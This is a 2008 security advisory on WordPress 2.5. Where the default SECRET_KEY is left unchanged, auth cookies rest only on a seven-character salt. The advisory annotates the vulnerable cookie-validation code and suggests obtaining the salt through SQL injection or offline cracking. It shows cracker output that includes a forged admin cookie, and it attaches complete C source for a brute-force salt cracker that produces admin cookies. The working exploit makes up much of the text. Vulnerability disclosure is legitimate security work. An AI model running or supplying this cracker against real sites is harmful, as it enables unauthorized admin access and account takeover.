WordPress 2.5 - Salt cracking vulnerability
WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
-------------------------------------------
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
By J. Carlos Nieto <xiam@xxxxxxxxxxxxxxxx>
http://xiam.menteslibres.org
Severity
========
Medium. It affects only a determinate part of the WordPress users under
specific conditions.
Affected software
=================
WordPress 2.5
Vulnerability conditions
========================
After the initial WordPress instalation, the wp-config.php's SECRET_KEY
must remain as te default value: 'put your unique phrase here' or be
undefined, the default value remains untouched after installing via a
browser.
When the WordPress package is unpacked and the victim is ready to
install it, he will be asked to read the manual in order to create a
wp-config.php file, or to change permissions for the installation
directory to be writable. If he choose to change directory permissions,
the installation will be completely via web and the SECRET_KEY will
remain as the default value.
There exists some other conditions that let the user install WordPress
without even knowing that he must change a SECRET_KEY in wp-config.php
1.- If the user attempts to install WordPress on Windows. Since Windows
does not have a strong permissions check.
2.- If the user attempts to install WordPress under Apache + suexec. The
files are not readable or writable for all other users, but writable for
the user himself. Thus the installed won't ask you to read the manual.
3.- Some hosting companies have a one-click installer that does not
setup a SECRET_KEY.
4.- You failed to read the whole installation manual.
Vulnerable scripts
==================
wp-include/pluggable.php
function wp_validate_auth_cookie($cookie) {
...
// The cookie is not being validated.
list($username, $expiration, $hmac) = explode('|', $cookie);
...
// I could send 9999999999 as the second argument of the cookie to
skip this condition.
if ( $expired < time() )
return false;
...
// A mysterious hash is used here, the hash becomes a seven
// character word generated by wp_generate_password()
// (a.k.a. SECRET_SALT), note that wp_salt() sets
// $secret_key to null if SECRET_KEY is equal to the default value.
.
// The argument passed to wp_hash() in the next line is
// completely poisonable.
// To gain admin privileges I could use:
// 'admin|9999999999|MISTERIOUSHASH' as my cookie.
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);
// A weak check, I may provide a custom $hmac by knowing
// the wp_salt()'s value.
if ( $hmac != $hash )
return false;
// There is no password check, not even IP verification
$user = get_userdatabylogin($username);
}
...
function wp_salt() {
global $wp_default_secret_key;
$secret_key = '';
// If the key is null, not defined or has the default
// value $secret_key remains null
// if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && (
$wp_default_secret_key != SECRET_KEY) )
$secret_key = SECRET_KEY;
if ( defined('SECRET_SALT') ) {
$salt = SECRET_SALT;
} else {
$salt = get_option('secret');
if ( empty($salt) ) {
$salt = wp_generate_password();
update_option('secret', $salt);
}
}
// $salt is a seven char long password. $secret_key is null.
return apply_filters('salt', $secret_key . $salt);
}
The wp_salt()'s value is stored here:
mysql> select * from wp_options where option_name = 'secret';
+-----------+---------+-------------+--------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+--------------+----------+
| 61 | 0 | secret | eat5fsE | yes |
+-----------+---------+-------------+--------------+----------+
1 row in set (0.00 sec)
So if the attacker gets the value of that seven length string he can
craft a special cookie and gain access to ANY account he wants.
How can I know the value of wp_salt()?
--------------------------------------
I am thinking of two ways to get the value of the wp_salt():
1.- Gain access to the WP database by using a SQL injection (such as the
GBK encoding and addslashes() issue) on the WordPress core itself or on
a third party plugin (the latest is more likely to be possible). I din't
find any user-level SQL injection on the WP core.
2.- Register yourself on a WP 2.5 blog, log in and grab the cookie named
wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an
offline attack using an specialized program.
Possible solution
=================
Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to
change the SECRET_KEY's value.
The SECRET_KEY should be changed automatically to something random.
Proof of concept
================
I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack
wp_salt()'s values using a legitimate cookie as an argument.
This is the output of my program cracking the wp_salt() based on a
unprivileged user cookie:
(test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731) and a given charset:
$ gcc -lcrypto -Wall -o wpsalt wpsalt.c
$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE
=== Success! ===
* Key: eat5fsE
* Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442
=== Statistics ===
* Time taken: 31.240000 s
* Average speed: 308986.363636 w/s
The arguments of the wp_salt cracker are:
./wpsalt username timestamp hash [charset]
The average speed of my program is 360000 words per second.
There are 62 characters that can be used to generate a 7 character long
wp_password(). If we perform a linear attack, we would have to wait (in
the worst case), 62^7/360000/3600/24 = ~113 days. However, if we are
lucky and we feed the program with a 31 long (a half of the total)
character set that contains the seven magic letters, the attack can be
reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, only if
we are very lucky. The time of the attack is incremented exponentially
with each extra character.
Vulnerability timeline
======================
Apr 12, 2008 - Vulnerability found.
Apr 13, 2008 - Vendor notified (no response).
Apr 15, 2008 - Public disclosure.
Acknowledgments
===============
G30rg3_x (http://www.g30rg3x.com), told me the appropriate way to
report a WordPress security vulnerability and helped me to test the
severity of the issue.
Attachments
===========
--- begins wpsatl.c ---
/***
*
* Wordpress 2.5 cookie based salt cracker
* by J. Carlos Nieto <xiam@xxxxxxxxxxxxxxxx>
* http://xiam.menteslibres.org
*
* Date:
* April 13, 2008
*
* Advisory:
*
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
*
* $ gcc -Wall -lcrypto -o wpsalt wpsalt.c
* $ ./wpsalt
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <openssl/md5.h>
#include <time.h>
#define CHARSET
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
#define KEY_LEN 7
#define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10)
#define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')
void digest_to_string(unsigned char *, unsigned char *);
void print_digest(unsigned char *);
void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *);
void exit(int);
void help();
void wp_hash(char *, int, unsigned char *, int, unsigned char *);
void error(const char *);
void string_to_digest(const char *, unsigned char *);
void digest_to_string(unsigned char *digest, unsigned char *string) {
int i;
int s;
for (i = 0; i < 16; i++) {
s = digest[i]%16;
string[i*2] = dechex((digest[i]-s)/16);
string[i*2+1] = dechex(s);
}
string[32] = 0;
}
void print_digest(unsigned char *digest) {
unsigned char string[32];
digest_to_string(digest, string);
printf("%s\n", string);
}
/* http://www.faqs.org/rfcs/rfc2104.html */
void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int
key_len, unsigned char *digest) {
MD5_CTX context;
unsigned char k_ipad[65];
unsigned char k_opad[65];
//unsigned char tk[16];
int i;
/*
if (key_len > 64) {
MD5_CTX tctx;
MD5_Init(&tctx);
MD5_Update(&tctx, key, key_len);
MD5_Final(tk, &tctx);
key = tk;
key_len = 16;
}
*/
bzero(k_ipad, 65);
bzero(k_opad, 65);
bcopy(key, k_ipad, key_len);
bcopy(key, k_opad, key_len);
for (i = 0; i < 64; i++) {
k_ipad[i] ^= 0x36;
k_opad[i] ^= 0x5c;
}
MD5_Init(&context);
MD5_Update(&context, k_ipad, 64);
MD5_Update(&context, text, text_len);
MD5_Final(digest, &context);
MD5_Init(&context);
MD5_Update(&context, k_opad, 64);
MD5_Update(&context, digest, 16);
MD5_Final(digest, &context);
}
void help() {
printf("WordPress 2.5, cookie based salt cracker\n");
printf("by xiam <xiam@xxxxxxxxxxxxxxxx>\n");
printf("============================================================\n");
printf("Advisory:
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n");
printf("\n");
printf("Usage:\n");
printf(" ./wpsalt username timestamp hash [charset]\n");
printf("\n");
printf("Example:\n");
printf(" Get a legitimate user cookie, it doesn't need to be from\n");
printf(" a privileged user.\n");
printf(" It should look like this:\n");
printf(" admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n");
printf(" Run the program:\n");
printf(" $ ./wpsalt admin 1208298864 \\\n");
printf(" 981a2a1363e9044a1181661b46777410\n");
printf(" Now wait some months... or if you're feeling lucky,
specify\n");
printf(" a charset such as in the example below:\n");
printf(" $ ./wpsalt admin 1208298864 \\\n");
printf(" 981a2a1363e9044a1181661b46777410 aef5Est\n");
exit(0);
}
void wp_hash(char *data, int data_len, unsigned char *key, int key_len,
unsigned char *digest) {
unsigned char salt[16];
unsigned char inter_key[32];
hmac_md5((unsigned char *)data, data_len, key, key_len, salt);
digest_to_string(salt, inter_key);
hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest);
}
void error(const char *s) {
printf("E: %s\n", s);
exit(0);
}
void string_to_digest(const char *string, unsigned char *digest) {
int i;
int c;
if (strlen((char *)string) == 32) {
for (i = 0; i < 16; i++) {
c = hexdec(string[2*i])*16;
c += hexdec(string[2*i+1]);
digest[i] = c;
}
} else {
error("The hash must be a 32 chars string.");
}
}
int main(int argc, char *argv[]) {
unsigned char goal_digest[16];
unsigned char key[KEY_LEN+1];
char *data;
char *charset;
int map[KEY_LEN];
int charset_len, data_len;
unsigned long long int words;
int i, j, carr, cont;
clock_t time_start, time_end;
double total_time;
unsigned char digest[16];
data = NULL;
charset = NULL;
if (argc > 3) {
string_to_digest(argv[3], goal_digest);
data = (char *) malloc(sizeof(unsigned char)*(strlen(argv[1]) +
strlen(argv[2]) + 1));
strcat(data, argv[1]);
strcat(data, argv[2]);
if (argc > 4) {
charset = argv[4];
} else {
charset = CHARSET;
}
} else {
help();
}
data_len = strlen(data);
charset_len = strlen(charset)-1;
for (i = 0; i < KEY_LEN; i++) {
map[i] = 0;
key[i] = charset[0];
}
key[i] = '\0';
map[0] = -1;
time_start = clock();
for (words = -1, cont = 1; cont; words++) {
j = 0;
map[j]++;
if (map[j] > charset_len) {
map[0] = 0;
key[0] = charset[0];
carr = 1;
j++;
while (carr) {
if (j < KEY_LEN) {
map[j]++;
if (map[j] > charset_len) {
map[j] = 0;
} else {
carr = 0;
}
key[j] = charset[map[j]];
j++;
} else {
cont = 0;
carr = 0;
}
}
} else {
key[0] = charset[map[0]];
}
wp_hash(data, data_len, key, KEY_LEN, digest);
if (memcmp(digest, goal_digest, 16) == 0) {
printf("=== Success! ===\n");
printf("* Key: %s\n", key);
wp_hash("admin9999999999", 15, key, KEY_LEN, digest);
printf("* Valid cookie: admin%%7C9999999999%%7C");
print_digest(digest);
cont = 0;
}
}
time_end = clock();
total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC;
printf("\n");
printf("=== Statistics ===\n");
printf("* Time taken: %f s\n", total_time);
printf("* Average speed: %f w/s\n", words/total_time);
return 0;
}
--- ends wpsalt.c ---
--
La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire
- J. Carlos Nieto (xiam). http://xiam.menteslibres.org